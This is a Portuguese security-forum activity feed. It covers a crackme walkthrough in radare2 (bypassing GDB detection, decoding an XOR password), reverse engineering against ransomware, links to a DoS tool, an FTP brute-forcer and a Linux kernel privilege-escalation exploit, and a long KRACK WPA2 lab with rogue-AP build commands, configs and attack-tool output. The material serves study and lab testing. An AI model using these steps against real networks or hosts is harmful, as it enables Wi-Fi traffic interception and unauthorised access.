Ir para conteúdo

Todas Atividades

Atualizada automaticamente     

  1. Hoje
  2. Como ser um bom profissional em segurança da informação?

    Parabéns pelo artigo, esse artigo me ajudou bastante, até então eu ainda não tinha encontrado um artigo foda como esse.
  3. Ontem
  4. mini tool para realizar DoS. Feito em C

    https://github.com/gmdutra/C/blob/master/s4DoS.c Desculpa pela demora, mas o código está ai. Na verdade não tem nada demais, fiz so pra brincar com sockets.
  5. Valeu Merces, no começo tinha pensado em fazer em C, mas faltava conhecimento. Acho que agora eu consigo esclarecer as duvidas que eu tinha.
  6. Exploit para escalação de privilégio no Linux

    Foi publicado ontem no Exploit Database um exploit para a quarta release candidate da versão 4.14 do kernel Linux, verão 4.14-rc4 (a mais nova é a 4.14-rc6, que já tem o problema corrigido), que explora uma falha na função waitid() que recebeu o número a CVE-2017-5123, ainda reservada. A falha permite escalação de privilégio (usuário comum pode "virar root") localmente, ou seja, caso um servidor seja comprometido e o atacante ganhe acesso como usuário comum (norlmente o usuário que roda um serviço, como um webserver), pode usar este exploit para elevar o nível de privilégio no sistema. Se alguém é aventureiro o suficiente pra usar uma versão release candidate do kernel em seus servidores, deve atualizar já! Exploit: https://www.exploit-db.com/exploits/43029/
  7. Maneiro. Eu sempre acho maneiro escrever este tipo de código pra saber como outras ferramentas funcionam. =) O Hydra tem uns recursos legais pra FTP (e claro, pra vários outros protocolos) tipo reconhecer que o usuário não existe, servidor que suporta login anônimo, etc. Se quiser ver é https://github.com/vanhauser-thc/thc-hydra/blob/master/hydra-ftp.c . Multi-threading também é algo interessante, se bem que pra brute force não sei, pois o servidor pode bloquear se houver muitas tentativas ao mesmo tempo de uma mesma origem. Bem, não sei, tô só jogando ideias já que você não tem a intenção de construir um software profissional, mas sim para estudo. Abraço!
  8. Crackme 01 - Linux - Geyslan

    Cara que animal esse tutorial! Muito rico mesmo. Valeu por fazê-lo! :-)
  9. Crackme 01 - Linux - Geyslan

    Claro! Com maior prazer! No gdb deve ser puxado hein.. Sem uma interface amigável! LOL! Esse é monstro! hahah Sigo teu blog desde da dark era do BLOG. Só coisa boa. Chegamos a trocar alguns e-mails, mas acho que n lembra haha.. Seu BLOG foi uma das portas de entrada em ER p mim. Até montei um blog de er, mas acabei fechando. Anyway, é noiz!! HOWTO Desculpem qualquer erro de PTBR hahaha Bom galera, vou estender um pouco somente no início pq eu acho mais importante deixar claro como desabilitar a checagem do GDB. O resto eu vou passar mais rápido, mas essa parte é mais essencial até pra você poder sondar melhor o crackme. Primeiramente instale o radare2. Tudo que vocês precisam para instalar o radare2 está no link abaixo: https://github.com/radare/radare2 Caso tenham algum problema em instalar, deixa um post ai que se eu puder ajudar, eu ajudo :). Para abrir o crackme no radare2 (r2) é bem simples: -A: Analyze. Ele já vai abrir com o binário analizado. Você também pode utilizar o comando aaaa. -d: Vai abrir em modo debugger. -w: Abre em modo de escrita. Ou seja, você pode usar w? para ver os comandos para escrever direto no binario. E também quando "patchar" algo ele ap´licar no binário "físico", pois do contrário ele só aplica no binário in-memory. Poderia ser -Adw Bom, aqui você pode usar o comando ie pra achar o entry point que é a function entry0 e dar o comando s entry0 pro r2 te levar direto na function. O radare2 ele tem uma curva de aprendizado meio "tensa", pq até você entender todos os comandos e etc, leva um tempo. Você pode usar ? para listar os comandos e usar o ? junto com algum comando para ter o help de determinado comando, por exemplo, a?, af?, afl? e assim por diante. afl: Esse comando vai listar todas as functions que ele conseguiu identificar após a análise (-A). ii: Vai listar todos os imports. Outra forma de achar o início seria achando a função que inicia o processo. Com o comando ii você achar os imports e com eles você é capaz de achar a function: http://refspecs.linuxbase.org/LSB_3.0.0/LSB-PDA/LSB-PDA/baselib---libc-start-main-.html Essa function prepara o sistema para rodar o programa em si. Notem nessa especificação que ela receber como primeiro argumento int *(main) e se você usar o comando s entry0 você vai notar que o endereço da main é pushado na stack assim como outros valores também. Contudo antes de ir definitivamente para a main essa function passa por outra function apontada pelo parâmetro void (*init). Que nesse caso se você analisar no entry0 acaba sendo a sym.__libc_csu_init. Abaixo uma imagem para ilustrar como se chega na entry0 pelo comando ii. Bom, agora sabemos como iniciar o debugging. Se você simplemente abrir o crackme e usar o comando dc que seria o continue para rodar o programa ele já apresenta a mensagem que não é possível rodar dentro do GDB. Então precisamos desabilitar essa detecção. E para isso precisamos saber de onde o GDB é chamado: Dentro da function _init você pode observar primeiro um endereço dinâmico e um loop que o radare2 já mostro pra gente. Se você debugar aqui vai ver que a mensagem do GDB acontece depois dessa call em detaque. Copie o endereço apontado pela call 0x080487ab no meu caso e adicione um breakpoint nessa linha. db 0x080487ab. você pode usar o comando d? para ver a possibilidade que a ferramenta te dá na hora do debugging. Se você fez alguma mudança ou já passou desse ponto, o comando ood é útil para que você possa reabrir o arquivo em modo de debugging. Ok, tudo pronto e breakpoint colocado e só dar o comando dc. Após para a execução nesse ponto vamos usar um pouco o Visual mode. Para entrar nesse modo visual use o comando V (maiúsculo) quando você entrar no modo visual ele te dá VÁRIOS modos visuais de navegar pelo binário, gaste um tempo navegando por ele. Para saber como navegar use pressione o ? para entrar no help do modo visual. Ok vamos la, pressione p para correr para o modo de disassembly e então pressione ! você irá entrar em um modo parecido (lembra de alguma forma) com o debugging do OllyDbg/x64dbg. Com o breakpoint na linha da call vamos ver onde essa call nos leva. Se você pressionar a tecla : você poderá executar comandos como se estivesse na parte não visual do radare2. E nesse ponto vamos utilizar o pxw que seria a impressão hex em formato DWORD de um determinado endereço. Podemos ver que somente ebx tem valor, ou seja edi*4 dá 0, então podemos imprimir diretamente pxw @ ebx-0xfc lembrando que o @ é utilizado para representar um endereço. Se você usar simplesmente pxw ele vai mostrar os valores onde seu ponteiro está, no caso poderia ser utilizado após um s, por exemplo. Bom, voltando as imagens vemos que existe 3 endereços na memória (array) de ponteiros e eles estão em vermelho o que indica que são funções. Você pode, mesmo com o programa parado no breakpoint, usar o comando s em cada uma dessas functions seguido do comando pdf que printa o disassembly da function apontada pelo s e verá que a function do endereço 0x080485ab é a function sym.detect_gdb. SHOW! E agora ? Agora vamos assemblar para não executar ela, na minha opinião o jeito MAIS fácil é apenas sair dela quando o programa entrar nela. Para isso eu fiz o seguinte. A forma mais fácil para sair dela é usar ela contra ela mesmo. Então vamos usar a instrução JMP essa instrução é muito simples vai simplesmente fazer o ponteiro de execução pular para o endereço que está na contido na instrução. Eu pulei para a instrução leave que fica no endereço 0x08048632, contudo para fazer isso primeiro vamos dar uma olhada na sua referência: http://x86.renejeschke.de/html/file_module_x86_id_154.html Atentem para "Releases the stack frame set up by an earlier ENTER instruction.". Ou seja o stack frame tem que estar setado já e para setar um stack frame são as primeiras instruções até o 0x080485b1 nesse ponto o stack frame tá setado. Então vamos assemblar aqui. No ponto da imagem eu sai do modo visual pressionando q, ok ? Em modo visual pressione : e use o comando s 0x080485b1 e em seguida q para sair dos comandos no modo visual. Nesse ponto o radare2 deve ter te levado exatamente para esse endereço, agora você só precisa pressionar A (maiúsculo) para entrar no modo de edição do assembly. Digite jmp 0x08048632 e pressione Enter 2 vezes. Pronto! Assemblado. Você pode entrar em modo de -Aw e fazer exatamente isso novamente que quando você entrar no modo -Ad de novo você já vai ter gravado essa instrução direto no binário, sem precisar fazer isso toda hora. Bom, agora vamos para a parte da senha. A partir desse ponto vou considerar que você já tá mais esperto com o radare2 e seus comandos. Vou fazer um recap do que eu vou usar e só vou descrever o comando, ok ? Recap: Vamos lá. Agora já podemos debugar a main. Mande o ponteiro para main e entre em modo visual. No modo visual pressione espaço para entrar no modo de branchs. Analise ela por um estante e você irá perceber (se você programa qualquer coisa) pelas calls e pelo o que o radare já analisou pra gente o que é feito. Vemos então a string que é printada pedindo o password, depois a função para pegar os valores digitados e logo em seguida a chamada em uma função sym.xor nome bastante sugestivo. Você pode usar o modo de cursor no visual para ir até essa call e pressionar Enter que você vai direto para ela. Ou pode usar os comandos normais como s. Bom, lá dentro da function do XOR eu printei ela para analisar: Vamos aos indicativos. Ponteiro/argumento para a o password digitado. Indicativo de loop. Mov 0, indicativo de index de loop. Indico fortemente que você gaste um tempo debugando essa parte e entendo exatamente o que ela faz (use o visual mode com o modo olly, fica muito fácil debugar), assim vai melhorando a habilidade de ler assembly sem ter que ficar debugando toda hora. Basicamente ele move o ponteiro para o registrador e vai xoreando byte a byte o password e logo em seguida na main ele compara esse valor xoreado com o valor que já está xoreado em mem´ória. O valor já xoreado já está indicado no disasembly obj.passwd. Você pode usar o comando s para seguir até esse ponto em memória para ver o verdadeiro valor do password, lembrando que esse valor já está xoreado. Então faremos o inverso do xor que é o próprio xor. Para isso usamos o comando wox que vai sobreescrever em memória determinado valor xoreando ele com a key que você indicar. Nesse caso usei a key 0x6c. Agora você pode usar q para sair do visual, q no r2 e executar o crackme com a senha. Para patchar e fazer funcionar com qualquer senha, use como exemplo a parte do detect_gdb. Certo ? Qualquer dúvida é só falar. Bom galera, é isso. Espero que eu tenha conseguido passar certinho como fazer para reversar esse crackme. Qualquer coisa só falar ai. Abraço!
  10. Última semana
  11. Esses dias atrás eu estava sem nada para fazer no trabalho(vida de estágiario kk) e resolvi brincar um pouco com python + ftp. Tinha começado um esboço de uma pequena tool, só para estudo mesmo, hoje eu terminei(ou quase). Quem quiser dar uma olhada o link está aqui --> https://github.com/gmdutra/fuckFTP Sugestões na melhoria do código eu agradeço.
  12. Hoje tem crescido bastante a utilização de ransomware e ainda mais com a divulgação da mídia, apesar desse crescimento nos últimos anos, o ransomware NÃO é uma porcentagem muito alta com relação a outros tipos de malware, sendo no Brasil o trojan banker o mais predominante. Apesar de não serem tão predominantes eles podem ser letais a algumas empresas, principalmente se não seguirem uma política de backup ou nem terem um. Usando a engenharia reversa contra ransomware pode ser de muita utilidade, diferente do que muitos podem pensar, a RE nesse caso não somente serve para ver como funciona o malware, mas até como reverter o processo e até pausar o processo do mesmo, podendo proteger os dados de uma empresa ou reduzir os danos. No Brasil a produção do ransomware é muito imatura, sendo fáceis de se resolver se comparado aos mais sofisticados de outros países. Um caso que tive contato foi de uma empresa que teria aparentemente perdido seus dados para um ransomware, esta empresa pagou o resgate e nunca mais recebeu notícias do atacante, mas na verdade a empresa nunca perdeu de fato o acesso a seus arquivos, tudo estava em uma outra partição do HD com um nome codificado, ao abrir essa partição, lá estavam todos os seus arquivos que poderia utiliza-los sem nenhum problema. O funcionamento era simples, ele criava uma nova partição e colocava os arquivos neste local, e no local original (c:\ por exemplo) ele compactava os arquivos com senha. Resumindo, nunca precisariam tem pago o resgate. Outro caso foi de uma pequena empresa que também pagou o resgate e nunca mais teve contato do atacante, então uma empresa terceirizada de TI foi verificar e decidiram formatar as máquinas e a deu continuidade a suas rotinas (para variar não tinha backup). Quando a empresa terceirizada de TI me falou sobre isso, e me passaram os dados do ransomware, eu soube a qual família pertencia e disse "tinha como reverter esse processo, o kaspersky já analisou essa família de ransomware e disponibilizou a solução para reverter o processo da criptografia", nesse momento simplesmente responderam que agora era tarde demais. Além desses casos brasileiros, podemos lembrar do caso do internacional do wanna cry o qual após uma análise vi que ao registrar o domínio que o mesmo usava, iria interromper o processo de criptografia antes de ser iniciado. Quando vamos usar a engenharia reversa teremos a possibilidade de: interromper o processo de criptografia, interromper a inicialização, interromper a contaminação e reverter os danos. Para que isto seja possível durante a RE deverá pensar nos seguintes pontos: Qual o C&C? O C&C (comando e controle) é o canal por onde o atacante e o ransomware se comunicam, podendo ser de várias formas como IRC, socket, facebook, twitter, blog, outras páginas da web, acesso a um domínio específico e por ai vai. A grande importância é que o C&C quando for utilizado (nem sempre terá um) ele poderá servir para enviar a chave de criptografia pela rede que será utilizada no processo de criptografia e também pode ser usando para o atacante poder dar a ordem ou autorização para iniciar o processo de cifragem/decifragem. Partindo desse princípio pense o seguinte, se identificarmos o C&C, termos a possibilidade de por exemplo pegar a senha que é trafegada na rede com o wireshark filtrando pelo c&c utilizado, se usa SSL e TLS podemos tentar burlar isso, outro caso é bloquear esse C&C no firewall, pois isso evitará tanto que o atacante dê as ordens como que receba a senha, em alguns casos a cifragem só inicia após conseguir enviar a senha com sucesso para o atacante ou o inverso, quando o atacante conseguir enviar a senha a ser utilizada para o programa usar. Como ele realiza a criptografia? É muito importante saber isso, pois se soubermos o algoritmo, pode ser que saibamos uma forma muito simples de reverter. Se identificar que ele usa criptografia simétrica saiba que ele pode ter armazenado essa senha localmente, ou que ela deverá trafegar na rede do atacante pro ransomware e vice-versa. Se for assimétrica, pode ser muito mais difícil, adquirir a senha, o melhor em alguns casos é bloquear o C&C, mas não soluciona totalmente dependendo do algoritmo para trocar as chaves. A chave está no código? Em alguns casos de atacantes pouco experientes, eles podem colocar uma senha hard-code, podendo ser tanto a senha para compactar ou da criptografia simétrica que será usada, podendo por algum tipo de ofuscação de string, mas programadores mais experientes não realizaram isso. A senha está na RAM? Durante o processo da cifragem a senha poderá estar na memória RAM para que o próprio ransomware utilize, nesse caso podemos fazer o dump da memória da máquina durante o ataque. Qual a família? Podemos identificar a família do ransonware, a maioria deles são derivações se algum já existente. Quando identificamos a família, podemos pesquisar se empresas criaram uma solução para reverter o processo, temos como exemplo o site https://noransom.kaspersky.com/ que podemos usar para reverter isso. Podemos identificar a família pela analise string, hash, comportamento, tela de regate e etc. Esse código tem alguma falha? Da mesma forma que crackers exploram falhas para crackear os programas e demais black hats usam para achar falhas, nós podemos usar a RE para achar alguma falha no código que nos permita de alguma forma parar o ataque, parar o processo de criptografia, ou provocar um erro que interrompa o mesmo, lembre-se que é um software comum programado por uma pessoa comum e softwares sempre podem ter falhas, até mesmo na forma que ele realiza a criptografia, pode ser que possamos ver uma forma de reverter em alguns casos. Qual o modo de propagação? Podemos identificar como ele se propaga e fazer o bloqueio disso com outras ferramentas de segurança como o firewall, novas regras no ids/ips. Também ver se ele não está usando alguma vulnerabilidade de algum sistema para se propagar, nesse caso podemos atualizar o sistema ou simplesmente desativa-lo temporariamente. Para mais informações recomendo o livro: Ransomware - Defendendo-se da extorsão digital.
  13. Crackme 01 - Linux - Geyslan

    É verdade @Pimptech, o r2 é encapetado! rs Na época que o Geyslan lançou esse crackme eu fiz com o próprio gdb. Tu tem as manhas de mostrar como fez pra galera aprender? :-) A propósito, parabéns!!!
  14. Crackme 01 - Linux - Geyslan

    Falai, Fernando! Bacana esse crackme. Eu não sou super user de Linux, então tive alguns problemas no início, pq esqueci que eu estava rodando um x86_64 e tava sem a libc pra x86. Fiquei achando que fazia parte do desafio hahaha Perdi um tempinho ali! hahaha Eu tinha mexido pouco no radare2, aconselho muito a usarem. Depois que pega o jeitão vai embora. O Visual mode dos caras ta muito poderoso! Vale a pena dar uma conferida! Fica a dica. Bom, vou deixar 2 binários. Um que ta patched pra abrir no GDB e debugar a vontade. E outro ta patched com o resultado final. crackme01-geyslan_opGdb => Abre com GDB. crackme01-geyslan_patched => Qualquer senha funciona. E a senha:
  15. Lab para o ataque KRACK (WPA2)

    Este texto é a resultante de horas e horas de analises, testes e decepções. Aqui é descrito todo o passo a passo da instalação e configuração de um ambiente propício a execução do código testador de pontos de acesso vulneráveis a ataque KRACK - FT (Fast BSS Transition - IEEE 802.11r - CVE-2017-13082 / FT) disponível em https://github.com/vanhoefm/krackattacks-test-ap-ft. Assim como um ataque KRACK em clientes WPA1 e WPA2 (https://www.krackattacks.com). Em ambos os casos, o vetor principal quebra/anula o processo WPA 4-way handshake. No 2017-130xx um rogue AP preparado para pular o handshake é utilizado. Já na CVE-2017-13082 / FT, uma requisição de reassociação FT pode levar um AP a reinstalação de chaves, ao contrário da Krack attack onde isso ocorre no lado cliente. CVE-2017-130xx * AP "falso" é configurado para o ataque KRACK; * Este rogue AP deve ficar próximo da vítima para garantir que ele tenha maior sinal em relação ao AP onde a vítima se encontra; * Vítima é força a se desassociar do AP alvo; * Vítima inicia processo de WPA 4-way handshake com o AP "falso" ; * Ap "falso" descarta handshake; * Vítima se associa ao rogue AP e começa a enviar quadros não criptografados CVE-2017-13082 / FT * É preciso identificar APs com FT; * Se trata de um ambiente com roaming (fast roaming). As células clientes trocam de access points pertencentes ao mesmo grupo quando estão em movimento, por exemplo; * Segundo Vanhoef, não se trata de um ataque contra especificações. E sim que foi observado trocas de chaves em alguns APs que não implementaram corretamente a máquina de estado 802.11 (http://community.arubanetworks.com/t5/Technology-Blog/Understanding-802-11-State-Machine/ba-p/270933); * Existe um app para teste em https://github.com/vanhoefm/krackattacks-test-ap-ft CVE-2017-130xx LAB Seguir o procedimento de instalação contidos em https://github.com/vanhoefm/blackhat17-pocs/tree/master/openbsd, especificamente o script get-and-compile-mitm.sh. Ele irá realizar o download do código fonte do hospad, aplicar o patch do Vanhoef e compilar. Este processo só será bem realizado se todas as dependências estiverem corretamente instaladas. Foi utilizada uma VM com Slackware, mas pode ser perfeitamente configurado em outras distribuições. Lembrar dos pacotes de compiladores, build-essential ou Development Tools, por exemplo, e os citados no repositório (libnl-3-dev libnl-genl-3-dev pkg-config libssl-dev rfkill). Foram criados dois access points, um é o rogue e o outro um AP (linux+hostapd) com configurações relevantes ao teste. Pode ser VM ou bare metal. 2 wireless cards em modo AP e um celular com Android para teste. Pode ser uma máquina linux com wpa_suplicant. |ap-rogue| |ap-da-vitima| \ / \ X \ / Android Linux ROGUE AP git clone git://w1.fi/srv/git/hostap.git -b hostap_2_6 openbsd-mitm cd openbsd-mitm wget https://raw.githubusercontent.com/vanhoefm/asiaccs2017-pocs/master/openbsd/mitm_poc.patch git apply mitm_poc.patch cd hostapd cp defconfig .config make * Modificar a flag ssid para o mesmo do alvo * Modificar a flag da interface Arquivo de proposto. interface=wlan1 logger_syslog=-1 logger_syslog_level=2 logger_stdout=-1 logger_stdout_level=2 ctrl_interface=/var/run/hostapd ctrl_interface_group=0 ssid=POC hw_mode=g channel=1 beacon_int=100 dtim_period=2 max_num_sta=255 rts_threshold=-1 fragm_threshold=-1 macaddr_acl=0 auth_algs=3 ignore_broadcast_ssid=0 wmm_enabled=1 wmm_ac_bk_cwmin=4 wmm_ac_bk_cwmax=10 wmm_ac_bk_aifs=7 wmm_ac_bk_txop_limit=0 wmm_ac_bk_acm=0 wmm_ac_be_aifs=3 wmm_ac_be_cwmin=4 wmm_ac_be_cwmax=10 wmm_ac_be_txop_limit=0 wmm_ac_be_acm=0 wmm_ac_vi_aifs=2 wmm_ac_vi_cwmin=3 wmm_ac_vi_cwmax=4 wmm_ac_vi_txop_limit=94 wmm_ac_vi_acm=0 wmm_ac_vo_aifs=2 wmm_ac_vo_cwmin=2 wmm_ac_vo_cwmax=3 wmm_ac_vo_txop_limit=47 wmm_ac_vo_acm=0 eapol_key_index_workaround=0 eap_server=0 own_ip_addr=127.0.0.1 wpa=3 wpa_passphrase=password wpa_pairwise=CCMP rsn_pairwise=CCMP Execução ./hostap ap-rogue.conf AP VÍTIMA Assim como no rogue ap, você pode executar onde desejar. Instale o hostapd e utilize o arquivo proposto a seguir. Se você utilizou o arquivo de conf anterior proposto para o rogue ap, apenas precisará modificar a interface. ap-da-vitima.conf interface=wlan0 logger_syslog=-1 logger_syslog_level=2 logger_stdout=-1 logger_stdout_level=2 ctrl_interface=/var/run/hostapd ctrl_interface_group=0 ssid=POC hw_mode=g channel=6 beacon_int=100 dtim_period=2 max_num_sta=255 rts_threshold=-1 fragm_threshold=-1 macaddr_acl=0 auth_algs=3 ignore_broadcast_ssid=0 wmm_enabled=1 wmm_ac_bk_cwmin=4 wmm_ac_bk_cwmax=10 wmm_ac_bk_aifs=7 wmm_ac_bk_txop_limit=0 wmm_ac_bk_acm=0 wmm_ac_be_aifs=3 wmm_ac_be_cwmin=4 wmm_ac_be_cwmax=10 wmm_ac_be_txop_limit=0 wmm_ac_be_acm=0 wmm_ac_vi_aifs=2 wmm_ac_vi_cwmin=3 wmm_ac_vi_cwmax=4 wmm_ac_vi_txop_limit=94 wmm_ac_vi_acm=0 wmm_ac_vo_aifs=2 wmm_ac_vo_cwmin=2 wmm_ac_vo_cwmax=3 wmm_ac_vo_txop_limit=47 wmm_ac_vo_acm=0 eapol_key_index_workaround=0 eap_server=0 own_ip_addr=127.0.0.1 wpa=3 wpa_passphrase=abcdefgh wpa_key_mgmt=WPA-PSK wpa_pairwise=TKIP rsn_pairwise=CCMP Execução ./hostap ap-da-vitima.conf O próximo passo é realizar um deauth, forçar que a célula troque de AP. Daqui para frente são testes e mais testes até recriar o cenário perfeito. No entanto, o laboratório já pode ser utilizado. Passaremos para o laboratório com FT. CVE-2017-13082 / FT Este é um cenário um pouco mais complexo de ser recriado. Foram utilizados 3 cartões adaptadores wireless, onde 2 em modo AP e um operando como cliente/monitor. Além de habilitar o suporte a IEEE 802.11r no wpa_supplicant e hostapd. Criando o primeiro AP com FT * Instale todos pré requisitos para poder compilar o código fonte do hostapd; * Certifique-se que o cartão wireless foi detectado e suporta a operação AP; * Download do repositório; git clone git://w1.fi/srv/git/hostap.git -b hostap_2_6 cd hostap/hostapd/ * Criar arquivo .config com o seguinte conteúdo CONFIG_DRIVER_HOSTAP=y CONFIG_DRIVER_NL80211=y CONFIG_LIBNL32=y CONFIG_IAPP=y CONFIG_RSN_PREAUTH=y CONFIG_PEERKEY=y CONFIG_IEEE80211W=y CONFIG_EAP=y CONFIG_ERP=y CONFIG_EAP_MD5=y CONFIG_EAP_TLS=y CONFIG_EAP_MSCHAPV2=y CONFIG_EAP_PEAP=y CONFIG_EAP_GTC=y CONFIG_EAP_TTLS=y CONFIG_PKCS12=y CONFIG_IPV6=y CONFIG_IEEE80211R=y * Compilar com o comando make; * Ao final você terá suporte a 802.11r; * Utilize o arquivo de configuração proposto a seguir para o hostap -> ap1-ft.conf; * Modifique a interface; interface=wlx001d0fa54d3c logger_syslog=-1 logger_syslog_level=2 logger_stdout=-1 logger_stdout_level=2 ctrl_interface=/var/run/hostapd ctrl_interface_group=0 ssid=POC hw_mode=g channel=1 beacon_int=100 dtim_period=2 max_num_sta=255 macaddr_acl=0 auth_algs=3 ignore_broadcast_ssid=0 wmm_enabled=1 wmm_ac_bk_cwmin=4 wmm_ac_bk_cwmax=10 wmm_ac_bk_aifs=7 wmm_ac_bk_txop_limit=0 wmm_ac_bk_acm=0 wmm_ac_be_aifs=3 wmm_ac_be_cwmin=4 wmm_ac_be_cwmax=10 wmm_ac_be_txop_limit=0 wmm_ac_be_acm=0 wmm_ac_vi_aifs=2 wmm_ac_vi_cwmin=3 wmm_ac_vi_cwmax=4 wmm_ac_vi_txop_limit=94 wmm_ac_vi_acm=0 wmm_ac_vo_aifs=2 wmm_ac_vo_cwmin=2 wmm_ac_vo_cwmax=3 wmm_ac_vo_txop_limit=47 wmm_ac_vo_acm=0 eapol_key_index_workaround=0 eap_server=0 own_ip_addr=0 nas_identifier=0 wpa=2 wpa_passphrase=password wpa_key_mgmt=FT-PSK wpa_pairwise=CCMP rsn_preauth=1 pmk_r1_push=1 mobility_domain=0101 Execução Criando o segundo AP com FT São os mesmo passos anteriores, mudando apenas o arquivo de configuração ap2-ft.conf, neste caso. * Utilize o arquivo de configuração proposto a seguir para o hostap -> ap2-ft.conf; * Modifique a interface; interface=wlx001d0fa54d3c logger_syslog=-1 logger_syslog_level=2 logger_stdout=-1 logger_stdout_level=2 ctrl_interface=/var/run/hostapd ctrl_interface_group=0 ssid=POC hw_mode=g channel=6 beacon_int=100 dtim_period=2 max_num_sta=255 macaddr_acl=0 auth_algs=3 ignore_broadcast_ssid=0 wmm_enabled=1 wmm_ac_bk_cwmin=4 wmm_ac_bk_cwmax=10 wmm_ac_bk_aifs=7 wmm_ac_bk_txop_limit=0 wmm_ac_bk_acm=0 wmm_ac_be_aifs=3 wmm_ac_be_cwmin=4 wmm_ac_be_cwmax=10 wmm_ac_be_txop_limit=0 wmm_ac_be_acm=0 wmm_ac_vi_aifs=2 wmm_ac_vi_cwmin=3 wmm_ac_vi_cwmax=4 wmm_ac_vi_txop_limit=94 wmm_ac_vi_acm=0 wmm_ac_vo_aifs=2 wmm_ac_vo_cwmin=2 wmm_ac_vo_cwmax=3 wmm_ac_vo_txop_limit=47 wmm_ac_vo_acm=0 eapol_key_index_workaround=0 eap_server=0 own_ip_addr=0 nas_identifier=0 wpa=2 wpa_passphrase=password wpa_key_mgmt=FT-PSK wpa_pairwise=CCMP rsn_preauth=1 pmk_r1_push=1 mobility_domain=0101 Execução ./hostapd ap1-ft.conf [ krackattacks-test-ap-ft ] Mantenha os dois APs em execução e passe para a instalação do krackattacks-test-ap-ft. Neste caso utilizaremos o adaptador com suporte a modo monitor para recriar os testes realizados utilizando a ferramenta. * Instale todos pré requisitos para poder compilar o código fonte do hostapd; * Certifique-se que o cartão wireless foi detectado e suporta a operação monitor; * Compilar wpa_supplicant com suporte 802.11r git clone git://w1.fi/srv/git/hostap.git -b hostap_2_6 cd hostap/wpa_supplicant/ * Criar arquivo .config com o seguinte conteúdo CONFIG_DRIVER_WEXT=y CONFIG_DRIVER_NL80211=y CONFIG_LIBNL32=y CONFIG_DRIVER_WIRED=y CONFIG_IEEE8021X_EAPOL=y CONFIG_EAP_MD5=y CONFIG_EAP_MSCHAPV2=y CONFIG_EAP_TLS=y CONFIG_EAP_PEAP=y CONFIG_EAP_TTLS=y CONFIG_EAP_GTC=y CONFIG_EAP_OTP=y CONFIG_EAP_LEAP=y CONFIG_PKCS12=y CONFIG_SMARTCARD=y CONFIG_CTRL_IFACE=y CONFIG_BACKEND=file CONFIG_PEERKEY=y CONFIG_IEEE80211R=y * Compilar com o comando make; * Você terá suporte a 802.11r; * Criar arquivo network.conf com o seguinte conteúdo: ctrl_interface=/var/run/wpa_supplicant network={ ssid="POC" key_mgmt=FT-PSK psk="password" } * Teste o suporte a FT executando o comando: ./wpa_supplicant -D nl80211 -i suainterface0 -c network.conf * Se não retornar erros, pode finalizar o teste com control+c * Download do repositório; git clone https://github.com/vanhoefm/krackattacks-test-ap-ft.git cd krackattacks-test-ap-ft * Desabilitar proteções utilizando o script disable-hwcrypto.sh ./disable-hwcrypto.sh * Reboot * A app (krackattacks-test-ap-ft) é escrita em python e requer a instalação de bibliotecas. A captura e injeção de pacotes é feita com a lib scapy. Utilize seu gerenciador de pacotes ou pip para instalação. * Para testar o funcionamento, execute o krack-ft-test.py * A saída esperada é: ./krack-ft-test.py ./krack-ft-test.py - Tool to test Key Reinstallation Attacks against an AP To test wheter an AP is vulnerable to a Key Reinstallation Attack against the Fast BSS Transition (FT) handshake, take the following steps: 1. The hardware encryption engine of some Wi-Fi NICs have bugs that interfere with our script. So disable hardware encryption by executing: ./disable-hwcrypto.sh This only needs to be done once. It's recommended to reboot after executing this script. After plugging in your Wi-Fi NIC, use `systool -vm ath9k_htc` or similar to confirm the nohwcript/.. param has been set. We tested this with an a TP-Link TL-WN722N and an Alfa AWUS051NH v2. 2. Create a wpa_supplicant configuration file that can be used to connect to the network. A basic example is: ... CONTINUA * Este programa é um wrapper que utilizará o wpa_supplicant com suporte 802.11r compilado anteriormente; * Recomendo copiar o binário do wpa_supplicant com suporte a 802.11r para a pasta raiz do krackattacks-test-ap-ft; * Identifique seu adaptador de rede, wlan0, por exemplo. * Pare o seu gerenciador de redes, caso utilize. * Execução do krack attack test: ./krack-ft-test.py /caminho/do/wpa_supplicant/comsuporte/iee80211/wpa_supplicant -D nl80211 -i wlan0 -c network.conf * Saída esperada ./krack-ft-test.py ./wpa_supplicant -D nl80211 -i wlan1 -c network.conf [12:40:09] Note: disable Wi-Fi in your network manager so it doesn't interfere with this script Successfully initialized wpa_supplicant wlan1: SME: Trying to authenticate with 02:1d:0f:a5:4d:30 (SSID='POC' freq=2412 MHz) wlan1: Trying to associate with 02:1d:0f:a5:4d:30 (SSID='POC' freq=2412 MHz) [12:40:36] Detected normal association frame wlan1: Associated with 02:1d:0f:a5:4d:30 wlan1: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0 wlan1: WPA: Key negotiation completed with 02:1d:0f:a5:4d:30 [PTK=CCMP GTK=CCMP] wlan1: CTRL-EVENT-CONNECTED - Connection to 02:1d:0f:a5:4d:30 completed [id=0 id_str=] * OBS: A partir deste momento, você precisa realizar o processo de roaming entre os dois APS. O wrapper fica aguardando por quadros de retransmissão para iniciar o skip e levar o Ap a retransmissão de chaves. * Utilize o comando wpa_cli para o roaming (este binário é gerado junto com o wpa_supplicant). wpa_cli wpa_cli v2.5 Copyright (c) 2004-2015, Jouni Malinen <j@w1.fi> and contributors This software may be distributed under the terms of the BSD license. See README for more details. Selected interface 'wlan1' Interactive mode > * Realizar Scan > scan OK <3>CTRL-EVENT-SCAN-STARTED <3>CTRL-EVENT-SCAN-RESULTS * Visualizar resultado > scan_results bssid / frequency / signal level / flags / ssid 02:1d:0f:a5:4d:30 2412 -20 [WPA2-FT/PSK-CCMP-preauth][ESS] POC 00:1a:3f:24:ce:f2 2437 -56 [WPA2-FT/PSK-CCMP-preauth][ESS] POC > * Visualizando status atual > status bssid=02:1d:0f:a5:4d:30 freq=2412 ssid=POC id=0 mode=station pairwise_cipher=CCMP group_cipher=CCMP key_mgmt=FT-PSK wpa_state=COMPLETED address=00:40:0c:02:c6:60 * Migrar de células roam 00:1a:3f:24:ce:f2 * A partir deste momento o wrapper será sensibilizado a iniciar o ataque; * Saída esperada [12:55:09] Detected FT reassociation frame wlan1: Associated with 02:1d:0f:a5:4d:30 wlan1: WPA: Key negotiation completed with 02:1d:0f:a5:4d:30 [PTK=CCMP GTK=CCMP] wlan1: CTRL-EVENT-CONNECTED - Connection to 02:1d:0f:a5:4d:30 completed [id=0 id_str=] wlan1: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0 [12:55:10] Replaying Reassociation Request [12:55:11] Replaying Reassociation Request [12:55:12] Replaying Reassociation Request [12:55:14] Replaying Reassociation Request [12:55:15] Replaying Reassociation Request [12:55:16] Replaying Reassociation Request [12:55:17] Replaying Reassociation 